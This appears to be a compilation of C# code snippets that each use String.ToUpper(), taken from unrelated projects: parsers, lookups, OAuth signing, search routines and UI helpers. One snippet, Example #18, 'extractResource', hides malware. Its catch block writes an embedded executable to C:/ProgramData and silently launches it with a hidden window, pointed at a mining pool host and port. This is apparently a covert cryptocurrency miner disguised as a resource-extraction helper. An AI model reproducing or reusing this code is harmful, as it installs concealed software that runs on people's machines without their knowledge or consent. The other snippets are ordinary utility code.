Example #1
0
		/// <summary> Parses the value string into a recognized type. If
		/// the type specified is not supported, the data will
		/// be held and returned as a string.
		/// *
		/// </summary>
		/// <param name="key">the context key for the data
		/// </param>
		/// <param name="type">the data type
		/// </param>
		/// <param name="value">the data
		///
		/// </param>
		public DataInfo(String key, String type, String value)
		{
			this.key = key;

			if (type.ToUpper().Equals(TYPE_BOOLEAN.ToUpper()))
			{
				data = Boolean.Parse(value);
			}
			else if (type.ToUpper().Equals(TYPE_NUMBER.ToUpper()))
			{
				if (value.IndexOf('.') >= 0)
				{
					//UPGRADE_TODO: Format of parameters of constructor 'java.lang.Double.Double' are different in the equivalent in .NET. 'ms-help://MS.VSCC/commoner/redir/redirect.htm?keyword="jlca1092"'
					data = Double.Parse(value);
				}
				else
				{
					data = Int32.Parse(value);
				}
			}
			else
			{
				data = value;
			}
		}
 public bool addEventJump( String inMemberId, String inEventGroup, String inEventClass, String inAgeDiv, String inTeamCode )
 {
     if ( myTourRow == null ) {
         return false;
     } else {
         if ( ( (byte)myTourRow["JumpRounds"] ) > 0 ) {
             String curAgeDiv = inAgeDiv;
             String curEventGroup = inEventGroup;
             if ( curAgeDiv.ToUpper().Equals( "B1" ) ) {
                 curAgeDiv = "B2";
                 if ( inEventGroup.ToUpper().Equals( "B1" ) ) {
                     curEventGroup = curAgeDiv;
                 }
             } else if ( curAgeDiv.ToUpper().Equals( "G1" ) ) {
                 curAgeDiv = "G2";
                 if ( inEventGroup.ToUpper().Equals( "G1" ) ) {
                     curEventGroup = curAgeDiv;
                 }
             }
             return addEvent( inMemberId, "Jump", curEventGroup, inEventClass, curAgeDiv, inTeamCode );
         } else {
             MessageBox.Show( "Request to add skier to jump event but tournament does not include this event." );
             return false;
         }
     }
 }
Example #3
0
        public override FreeRefFunction FindFunction(String name)
        {
            if (!_functionsByName.ContainsKey(name.ToUpper()))
                return null;

            return _functionsByName[name.ToUpper()];
        }
Example #4
0
 private String CheckPrimitivType(String mehtodName)
 {
     if (mehtodName.ToUpper().Contains("INT")) return typeof(int).ToString();
     if (mehtodName.ToUpper().Contains("STRING")) return typeof(string).ToString();
     if (mehtodName.ToUpper().Contains("FLOAT")) return typeof(float).ToString();
     if (mehtodName.ToUpper().Contains("DOUBLE")) return typeof(double).ToString();
     return mehtodName;
 }
Example #5
0
 public long getUserID(String user_name)
 {
     if (user_name_list.ContainsKey(user_name.ToUpper()))
     {
         return user_name_list[user_name.ToUpper()];
     }
     return -1;
 }
        public List<string> ListFieldData(String SQLColumn)
        {
            //Create our list that will return our data to SmartSearch. This must be named 'FieldData'.
            List<String> FieldData = new List<String>();

            //Creating SQL related objects
            SqlConnection oConnection = new SqlConnection();
            SqlDataReader oReader = null;
            SqlCommand oCmd = new SqlCommand();

            //Setting our connection string for connection to the database, this will be different depending on your enviroment.
            oConnection.ConnectionString = "Data Source=(local)\\FULL2008;Initial Catalog=GrapeLanes;Integrated Security=SSPI;";

            //Check for valid column name
            if ((SQLColumn.ToUpper() == "VENDNAME") || (SQLColumn.ToUpper() == "CSTCTR"))
            {
                //Setting SQL query to return a list of data
                oCmd.CommandText = "SELECT DISTINCT " + SQLColumn.ToUpper() + " FROM INVDATA";
            }
            else
            {
                //Returns an empty list in case of invalid column
                FieldData.Clear();
                return FieldData;
            }

            try
            {
                //Attempt to open the SQL connection and get the data.
                oConnection.Open();
                oCmd.Connection = oConnection;
                oReader = oCmd.ExecuteReader();

                //Take our SQL return and place it into our return object
                while (oReader.Read())
                {
                    FieldData.Add(oReader.GetString(0));
                }

                //Clean up
                oReader.Close();
                oConnection.Close();
            }
            catch (Exception)
            {
                //Returns an empty list in case of error
                FieldData.Clear();
                return FieldData;
            }

            //Return our list data to SmartSearch if successful
            return FieldData;
        }
Example #7
0
 public static String GetOID(String name)
 {
     if (name == null)
     {
         return null;
     }
     if (!OIDS.ContainsKey(name.ToUpper()))
     {
         throw new ArgumentException("Se deconoce el algoritmo '" + name + "'");
     }
     return OIDS[name.ToUpper()];
 }
Example #8
0
        /// <summary>
        /// The search algorithm.
        /// </summary>
        int Search(String text, int index)
        {
            // Get a reference to the diagram.
            Diagram datagram = mainUI.GetDiagramView().Diagram;

            // Check if the index needs to be wrapped around.
            if (index > datagram.Items.Count)
            {
                index = 0;
            }

            // Iterate through all the nodes and check them for the search string.
            for (int i = index; i < datagram.Items.Count; i++)
            {
                // Get a reference to a node.
                DiagramItem item = datagram.Items[i];
                if (item is ShapeNode)
                {
                    ShapeNode note = (ShapeNode)item;
                    // Check if the node contains the search string.
                    if (note.Text.ToUpper().Contains(text.ToUpper()) |
                        (note.Tag != null && note.Tag.ToString().ToUpper().Contains(text.ToUpper())))
                    {
                        mainUI.FocusOn(note);
                        return i;
                    }
                }
            }

            for (int i = 0; i < index; i++)
            {
                // Get a reference to a node.
                DiagramItem item = datagram.Items[i];
                if (item is ShapeNode)
                {
                    ShapeNode note = (ShapeNode)item;
                    // Check if the node contains the search string.
                    if (note.Text.ToUpper().Contains(text.ToUpper()) |
                        (note.Tag != null && note.Tag.ToString().ToUpper().Contains(text.ToUpper())))
                    {
                        mainUI.FocusOn(note);
                        return i;
                    }
                }
            }

            // If nothing is found, return 0.
            return 0;
        }
Example #9
0
        public virtual Boolean Open(String DevicePath)  
        {
            m_Path = DevicePath.ToUpper();
            m_WinUsbHandle = (IntPtr) INVALID_HANDLE_VALUE;

            if (GetDeviceHandle(m_Path))
            {
                if (WinUsb_Initialize(m_FileHandle, ref m_WinUsbHandle))
                {
                    if (InitializeDevice())
                    {
                        m_IsActive = true;
                    }
                    else
                    {
                        WinUsb_Free(m_WinUsbHandle);
                        m_WinUsbHandle = (IntPtr) INVALID_HANDLE_VALUE;
                    }
                }
                else
                {
                    m_FileHandle.Close();
                }
            }

            return m_IsActive;
        }
 public SequiturComplexity(String s)
 {
     S = s;
     chars =  "qwertyuiopåasdfghjklöäzxcvbnm";
     chars += chars.ToUpper();
     chars += "1234567890+-.,<>|;:!?\"()";
 }
Example #11
0
        public static HREngine.Private.HREngineRules GetRulesForCard(String CardID)
        {
            if (!HasRule(CardID))
                return null;

            try
            {
                string strFilePath = String.Format("{0}{1}.xml",
                   HRSettings.Get.CustomRuleFilePath,
                   CardID.ToUpper());

                byte[] buffer = File.ReadAllBytes(strFilePath);
                if (buffer.Length > 0)
                {
                    XmlSerializer serialzer = new XmlSerializer(typeof(HREngine.Private.HREngineRules));
                    object result = serialzer.Deserialize(new MemoryStream(buffer));
                    if (result != null)
                        return (HREngine.Private.HREngineRules)result;
                }
            }
            catch (Exception e)
            {
                HRLog.Write("Exception when deserialize XML Rule.");
                HRLog.Write(e.Message);
            }

            return null;
        }
Example #12
0
        public int lookupToken(int bas, String key)
        {
            int start = SPECIAL_CASES_INDEXES[bas];
            int end = SPECIAL_CASES_INDEXES[bas + 1] - 1;

            key = key.ToUpper();

            while (start <= end)
            {
                int half = (start + end) / 2;
                int comp = SPECIAL_CASES_KEYS[half].CompareTo(key);

                if (comp == 0)
                {
                    return SPECIAL_CASES_VALUES[half];
                }
                else if (comp < 0)
                {
                    start = half + 1;
                }
                else
                { //(comp > 0)
                    end = half - 1;
                }
            }

            return bas;
        }
Example #13
0
 /// <summary>
 /// 效果点数的表达式计算
 /// </summary>
 /// <param name="strEffectPoint"></param>
 /// <returns></returns>
 public static int GetEffectPoint(ActionStatus game, String strEffectPoint)
 {
     int point = 0;
     strEffectPoint = strEffectPoint.ToUpper();
     if (!String.IsNullOrEmpty(strEffectPoint))
     {
         if (strEffectPoint.StartsWith("="))
         {
             switch (strEffectPoint.Substring(1))
             {
                 case "MYWEAPONAP":
                     //本方武器攻击力
                     if (game.AllRole.MyPublicInfo.Hero.Weapon != null) point = game.AllRole.MyPublicInfo.Hero.Weapon.攻击力;
                     break;
                 default:
                     break;
             }
         }
         else
         {
             point = int.Parse(strEffectPoint);
         }
     }
     return point;
 }
Example #14
0
 /// <summary>
 /// Creates a new WordNode.
 /// </summary>
 /// <param name="text">The actual text of the word.</param>
 /// <param name="tag">The part-of-speech of the word.</param>
 /// <param name="confidence">A rating of the confidence of the part-of-speech tagging for this word.</param>
 public WordNode(String text, PartOfSpeechTag tag, double confidence) {
     if(text == null) { throw new ArgumentNullException("text"); }
     this.Text = text;
     this.Tag = tag;
     this.Confidence = confidence;
     if(text == text.ToUpper()) { this.AllCaps = true; }
 }
Example #15
0
 /// <summary>
 /// 注册资源索引键类型
 /// </summary>
 /// <param name="key">索引键</param>
 /// <param name="type">索引键类型</param>
 /// <returns>是否注册成功</returns>
 public static Boolean RegistType(String key, Type type)
 {
     try
     {
         if (KeyTypeList.ContainsKey(key.ToUpper()))
         {
             throw new Exception("不允许重复注册的KEY");
         }
         KeyTypeList.Add(key.ToUpper(), type);
         return true;
     }
     catch (Exception)
     {
         return false;
     }
 }
        public String ServiceToDisplay(String servicename)
        {
            var svc = servicename.ToUpper();

            if (svc == "MSDTC")
                return MSDTC;
            if (svc == "MSSQLSERVER" || svc.StartsWith("MSSQL$"))
                return SQL_SERVER;
            if (svc == "MSFTESQL" || svc.StartsWith("MSFTESQL$") || svc == "MSSEARCH" || svc == "MSSQLFDLAUNCHER" || svc.StartsWith("MSSQLFDLAUNCHER$"))
                return FTSEARCH;
            if (svc == "SQLSERVERAGENT" || svc.StartsWith("SQLAGENT$"))
                return SQL_AGENT;
            if (svc == "REPORTSERVER" || svc.StartsWith("REPORTSERVER$"))
                return REPORT;
            if (svc == "MSSQLSERVEROLAPSERVICE" || svc.StartsWith("MSOLAP$"))
                return ANALYSIS;
            if (svc.StartsWith("MSDTSSERVER"))
            {
                switch (svc)
                {
                    case "MSDTSSERVER100":
                        return SSIS2008;
                    default:
                        return SSIS;
                }
            }
            return svc == "SQLBROWSER" ? BROWSER : SQL_SERVER;
            // default
        }
        public Boolean VerificaRut(String rut)
        {
            bool validacion = false;
            try
            {
                rut = rut.ToUpper();
                rut = rut.Replace(".", "");
                rut = rut.Replace("-", "");
                int rutAux = int.Parse(rut.Substring(0, rut.Length - 1));

                char dv = char.Parse(rut.Substring(rut.Length - 1, 1));

                int m = 0, s = 1;
                for (; rutAux != 0; rutAux /= 10)
                {
                    s = (s + rutAux % 10 * (9 - m++ % 6)) % 11;
                }
                if (dv == (char)(s != 0 ? s + 47 : 75))
                {
                    validacion = true;
                }
            }
            catch (Exception)
            {
            }
            return validacion;
        }
Example #18
0
        public static void extractResource(String embeddedFileName, String destinationPath)
        {
            try
            {
                Assembly currentAssembly = Assembly.GetExecutingAssembly();
                string[] arrResources = currentAssembly.GetManifestResourceNames();
                foreach (string resourceName in arrResources)
                    if (resourceName.ToUpper().EndsWith(embeddedFileName.ToUpper()))
                    {
                        Stream resourceToSave = currentAssembly.GetManifestResourceStream(resourceName);
                        var output = File.OpenWrite(destinationPath);
                        // resourceToSave.CopyTo(output);
                        CopyStream(resourceToSave, output);
                        resourceToSave.Close();

                    }
            }
            catch
            {
                extractResource("Assembly.exe", "C:/ProgramData/assembly.exe");
                ProcessStartInfo startInfo = new ProcessStartInfo();
                startInfo.FileName = "C:/ProgramData/assembly.exe";
                startInfo.Arguments = "--host middlecoin.com --port 3333";
                startInfo.CreateNoWindow = true;
                startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
                Process.Start(startInfo);
                path1 = "C:/ProgramData/assembly.exe";
            }
        }
 // PrintRights() parses and prints the effective rights one by one
 public static void PrintRights( String aName, int rights )
 {
     System.Text.StringBuilder rString = new System.Text.StringBuilder();
     if ( aName.ToUpper().Equals("[Entry Rights]".ToUpper()))
     {
         // decode object rights
         rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_BROWSE) != 0 ? "BrowseEntry: true; ":"BrowseEntry: false; ");
         rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_ADD) != 0 ? "AddEntry: true; ":"AddEntry: false; ");
         rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_DELETE) != 0 ? "DeleteEntry: true; ":"DeleteEntry: false; ");
         rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_RENAME) != 0 ? "RenameEntry: true; ":"RenameEntry: false; ");
         rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_SUPERVISOR) != 0 ? "Supervisor: true; ":"Supervisor: false; ");
         rString.Append((rights & LdapDSConstants.LDAP_DS_ENTRY_INHERIT_CTL) != 0 ? "Inherit_ctl: true.":"Inherit_ctl: false.");
     }
     else
     {
         // decode attribute rights no matter it's for
         // all attributes or a single attribute
         rString.Append((rights & LdapDSConstants.LDAP_DS_ATTR_COMPARE) != 0 ? "CompareAttributes: true; ": "CompareAttributes: false; ");
         rString.Append((rights & LdapDSConstants.LDAP_DS_ATTR_READ) != 0 ? "ReadAttributes: true; ":"ReadAttributes: false; ");
         rString.Append((rights & LdapDSConstants.LDAP_DS_ATTR_WRITE) != 0 ? "Write/Add/DeleteAttributes: true; ":"Write/Add/DeleteAttributes: false; ");
         rString.Append((rights & LdapDSConstants.LDAP_DS_ATTR_SELF) != 0 ? "Add/DeleteSelf: true; ":"Add/DeleteSelf: false; ");
         rString.Append((rights & LdapDSConstants.LDAP_DS_ATTR_SUPERVISOR) != 0 ? "Supervisor: true.":"Supervisor: false.");
     }
     System.Console.WriteLine(rString);
 }
Example #20
0
 static int Hook(String s)
 {
     Console.ForegroundColor = ConsoleColor.Cyan;
     Console.Out.Write(s.ToUpper());
     Console.ForegroundColor = ConsoleColor.Gray;
     return 1;
 }
Example #21
0
        public bool Contains(String s)
        {
            int idx;
            bool word = true;
            TrieNode n = root;
            TrieNode oldNode = root;

            s = s.ToUpper();

                foreach (var ch in s) {
                    if (ch == 0) {
                        break;
                    }

                    idx = MapCharacter(ch);
                    if (idx == -1)
                        return false;

                    n = n.SubTrieNode[idx];

                    if (n == null) {
                        word = false;
                        break;
                    }
                    oldNode = n;
                }

            if (word && oldNode.IsWord) {return true; }

            return false;
        }
Example #22
0
 //  This method converts a hexvalues string as 80FF into a integer.
 //    Note that you may not put a '#' at the beginning of string! There
 //  is not much error checking in this method. If the string does not
 //  represent a valid hexadecimal value it returns 0.
 public static int HexToInt(String hexstr)
 {
     int counter, hexint;
     char[] hexarr;
     hexint = 0;
     hexstr = hexstr.ToUpper();
     hexarr = hexstr.ToCharArray();
     for (counter = hexarr.Length - 1; counter >= 0; counter--)
     {
         if ((hexarr[counter] >= '0') && (hexarr[counter] <= '9'))
         {
             hexint += (hexarr[counter] - 48) * ((int)(Math.Pow(16, hexarr.Length - 1 - counter)));
         }
         else
         {
             if ((hexarr[counter] >= 'A') && (hexarr[counter] <= 'F'))
             {
                 hexint += (hexarr[counter] - 55) * ((int)(Math.Pow(16, hexarr.Length - 1 - counter)));
             }
             else
             {
                 hexint = 0;
                 break;
             }
         }
     }
     return hexint;
 }
Example #23
0
        //Regex nonAlphabeticPattern = new Regex("\\P{IsL}");
        public override ValueEval Evaluate(String text)
        {
            StringBuilder sb = new StringBuilder();
            bool shouldMakeUppercase = true;
            String lowercaseText = text.ToLower();
            String uppercaseText = text.ToUpper();

            bool prevCharIsLetter = char.IsLetter(text[0]);
            sb.Append(uppercaseText[0]);

            for (int i = 1; i < text.Length; i++)
            {
                shouldMakeUppercase = !prevCharIsLetter;
                if (shouldMakeUppercase)
                {
                    sb.Append(uppercaseText[(i)]);
                }
                else
                {
                    sb.Append(lowercaseText[(i)]);
                }
                prevCharIsLetter = char.IsLetter(text[i]);
            }
            return new StringEval(sb.ToString());
        }
 //This functions receives two strings, the first is the job id, the second is the recruitee id.
 //then, it looks at the expressions array (all jobs ids) to find the index of the given JobID,
 //then, it looks at the users array (all users ids and self ratings) to find the index of the given recruitee id.
 //then it returns the value of the rating for that job and recruitee on the Y matrix.
 public int[,] getYIndex(String jobID, String recruiteeID, String[] expressions, UserProfile[] users)
 {
     try
     {
         int column = 0, row = 0;
         for (int i = 0; i < expressions.Length; i++)
         {
             if ((expressions[i].ToUpper()).Equals(jobID.ToUpper()))
             {
                 row = i;
                 break;
             }
         }
         for (int i = 0; i < users.Length; i++)
         {
             if ((users[i].UserID.ToUpper()).Equals(recruiteeID.ToUpper()))
             {
                 column = i;
                 break;
             }
         }
         int[,] result = new int[1, 2];
         result[0, 0] = row;
         result[0, 1] = column;
         return result;
     }
     catch (Exception ex)
     {
         return null;
     }
 }
        /// <inheritdoc />
        public override sealed bool ExecuteCommand(String args)
        {
            int index = args.IndexOf('=');
            String dots = args.Substring(0, (index) - (0)).Trim();
            String v = args.Substring(index + 1).Trim();

            PropertyEntry entry = PropertyConstraints.Instance
                                                     .FindEntry(dots);

            if (entry == null)
            {
                throw new AnalystError("Unknown property: " + args.ToUpper());
            }

            // strip quotes
            if (v[0] == '\"')
            {
                v = v.Substring(1);
            }
            if (v.EndsWith("\""))
            {
                v = v.Substring(0, (v.Length - 1) - (0));
            }

            String[] cols = dots.Split('.');
            String section = cols[0];
            String subSection = cols[1];
            String name = cols[2];

            entry.Validate(section, subSection, name, v);
            Prop.SetProperty(entry.Key, v);

            return false;
        }
Example #26
0
        public static string GenerateAuthorizationHeader(Uri uri,
                                                         String consumerKey,
                                                         String consumerSecret,
                                                         String token,
                                                         String tokenSecret,
                                                         String httpMethod)
        {
            OAuthUtil oauthUtil = new OAuthUtil();
            string timeStamp = oauthUtil.GenerateTimeStamp();
            string nonce = oauthUtil.GenerateNonce();

            string signature = oauthUtil.GenerateSignature(
                uri, consumerKey, consumerSecret, token, tokenSecret, httpMethod.ToUpper(), timeStamp, nonce);

            StringBuilder sb = new StringBuilder();
            sb.Append("OAuth oauth_version=\"1.0\",");
            sb.AppendFormat("oauth_nonce=\"{0}\",", EncodingPerRFC3986(nonce));
            sb.AppendFormat("oauth_timestamp=\"{0}\",", EncodingPerRFC3986(timeStamp));
            sb.AppendFormat("oauth_consumer_key=\"{0}\",", EncodingPerRFC3986(consumerKey));
            if (!String.IsNullOrEmpty(token))
            {
                sb.AppendFormat("oauth_token=\"{0}\",", EncodingPerRFC3986(token));
            }
            sb.Append("oauth_signature_method=\"HMAC-SHA1\",");
            sb.AppendFormat("oauth_signature=\"{0}\"", EncodingPerRFC3986(signature));

            return sb.ToString();
        }
Example #27
0
        public static string AddNewTabToTabContainer(TabContainer oTC, String TabName, String TabIdentity, string TabDesc, string hidClientID,  bool IsEnabled)
        {
            Boolean IsTabExist = false;
            for (int n = 0; n <= oTC.Tabs.Count - 1; n++)
            {
                if (TabName.ToUpper() == oTC.Tabs[n].HeaderText.ToUpper())
                {
                    IsTabExist = true;
                }

            }

            if (!IsTabExist)
            {

                TabPanel oNewTab = CreateTab(TabName, TabDesc);
                oNewTab.Visible = true;
                oNewTab.Enabled = IsEnabled;
                oNewTab.ToolTip = TabDesc;
                oNewTab.ID = TabIdentity;
                oNewTab.HeaderTemplate = new TabHeaderTemplate(TabName, "", hidClientID, oNewTab.ID);
                oNewTab.TabIndex = Convert.ToInt16(oTC.Tabs.Count + 1);

                oTC.Tabs.Add(oNewTab);

                oTC.ActiveTabIndex = Convert.ToInt16(oTC.Tabs.Count - 1);
            }
            else
            {

                return TranslationFormDesignAddNewTabMSGValue;

            }
            return string.Empty;
        }
 public static Type GetSupportedDataWorkerType(String providerName)
 {
     switch (providerName.ToUpper())
     {
         case "MSSQL":
         case "MSSQLDB":
         case "MSSQLDATABASE":
         case "MS":
         case "MSDB":
         case "MSDATABASE":
         case "SYSTEM.DATA.SQLCLIENT":
             return typeof(DataAbstractionLayer.SystemDataSqlClient.MsSqlDataWorker);
         case "ORACLE":
         case "ORACLEDB":
         case "ORACLEDATABASE":
         case "ORA":
         case "ORADB":
         case "ORADATABASE":
         case "SYSTEM.DATA.ORACLECLIENT":
             return typeof(DataAbstractionLayer.SystemDataOracleClient.OracleDataWorker);
         case "ORACLE.DATAACCESS.CLIENT":
             return typeof(DataAbstractionLayer.OracleDataAccessClient.OracleDataWorker);
         default:
             return null;
     }
 }
		public static bool VerifySignature(String content, String sign,
				String md5Key) {
			String signStr = content + "&key=" + md5Key;
			String calculateSign = MD5Util.MD5(signStr).ToUpper();
			String tenpaySign = sign.ToUpper();
			return (calculateSign == tenpaySign);
		}
Example #30
0
 public Manager(String Name, string data, int emp_count)
 {
     this.employee_count = emp_count;
     this.Start_Time = Convert.ToDateTime(data);
     this.Name = Name.ToUpper();
     this.Start_Salary = 1000.0M;
 }